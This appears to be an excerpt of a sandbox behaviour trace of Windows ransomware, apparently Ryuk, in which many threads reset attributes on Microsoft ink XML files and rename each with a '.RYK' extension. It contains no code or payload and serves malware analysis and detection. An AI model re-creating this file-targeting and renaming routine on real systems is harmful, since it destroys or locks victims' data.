	[0126.805] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml", dwFileAttributes=0x80) returned 0
	[0126.805] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.806] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.806] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\ea.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\ea.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 157
	os_tid = 0xaf4

	[0126.809] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml", dwFileAttributes=0x80) returned 0
	[0126.812] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.813] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.813] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 158
	os_tid = 0x4b0

	[0126.811] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml", dwFileAttributes=0x80) returned 0
	[0126.815] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.816] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.816] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\kor-kor.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 159
	os_tid = 0x608

	[0126.814] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml", dwFileAttributes=0x80) returned 0
	[0126.818] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0126.818] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0126.818] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\keypad.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 160
	os_tid = 0xa58

	[0126.931] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml", dwFileAttributes=0x80) returned 0
	[0127.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0127.885] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0127.885] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 161
	os_tid = 0xa98

	[0126.932] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml", dwFileAttributes=0x80) returned 0
	[0127.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0127.883] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0127.883] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\baseAltGr_rtl.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\basealtgr_rtl.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 162
	os_tid = 0xa88

	[0126.934] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml", dwFileAttributes=0x80) returned 0
	[0127.438] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0127.881] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0127.881] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_altgr.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_altgr.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 163
	os_tid = 0x62c

	[0126.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml", dwFileAttributes=0x80) returned 0
	[0127.441] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0127.879] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0127.879] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_ca.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_ca.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 164
	os_tid = 0xad8

	[0126.936] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml", dwFileAttributes=0x80) returned 0
	[0127.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0127.878] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0127.878] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_heb.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_heb.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 165
	os_tid = 0xb84

	[0126.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml", dwFileAttributes=0x80) returned 0
	[0127.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0127.876] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0127.876] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_jpn.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 166
	os_tid = 0x150

	[0126.940] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml", dwFileAttributes=0x80) returned 0
	[0127.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0127.874] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0127.874] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_kor.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 167
	os_tid = 0x998

	[0126.942] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml", dwFileAttributes=0x80) returned 0
	[0127.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0127.871] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0127.871] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\base_rtl.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 168
	os_tid = 0x598

	[0126.944] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml", dwFileAttributes=0x80) returned 0
	[0127.444] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0127.444] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0127.445] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ja-jp.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ja-jp.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 169
	os_tid = 0x5c4

	[0127.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml", dwFileAttributes=0x80) returned 0
	[0127.447] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0127.447] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0127.448] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\ko-kr.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 170
	os_tid = 0x958

	[0127.450] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml", dwFileAttributes=0x80) returned 0
	[0127.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.118] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.118] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-changjei.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 171
	os_tid = 0x8a8

	[0127.452] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml", dwFileAttributes=0x80) returned 0
	[0127.888] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.108] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.108] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-dayi.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 172
	os_tid = 0xba8

	[0127.453] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml", dwFileAttributes=0x80) returned 0
	[0127.889] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0127.889] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0127.890] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 174
	os_tid = 0xb34


Thread:
	id = 177
	os_tid = 0x2c4

	[0128.485] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml", dwFileAttributes=0x80) returned 0
	[0128.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.485] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.486] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\main.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 178
	os_tid = 0x868

	[0128.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml", dwFileAttributes=0x80) returned 0
	[0128.487] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.488] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.488] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers\\numbase.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers\\numbase.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 179
	os_tid = 0x3bc

	[0128.490] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml", dwFileAttributes=0x80) returned 0
	[0128.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.754] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.754] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\numbers.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\numbers.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 180
	os_tid = 0x4cc

	[0128.492] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml", dwFileAttributes=0x80) returned 0
	[0128.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.756] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.756] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu\\oskmenubase.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 181
	os_tid = 0x878

	[0128.757] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml", dwFileAttributes=0x80) returned 0
	[0128.758] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.758] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.758] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskmenu.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskmenu.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 183
	os_tid = 0xba0

	[0128.873] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml", dwFileAttributes=0x80) returned 0
	[0128.873] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0128.873] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0128.874] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.RYK" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 184
	os_tid = 0x3b8

	[0128.875] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml", dwFileAttributes=0x80) returned 0
	[0128.981] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\osknumpad.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0129.091] CloseHandle (hObject=0xffffffffffffffff) returned 0
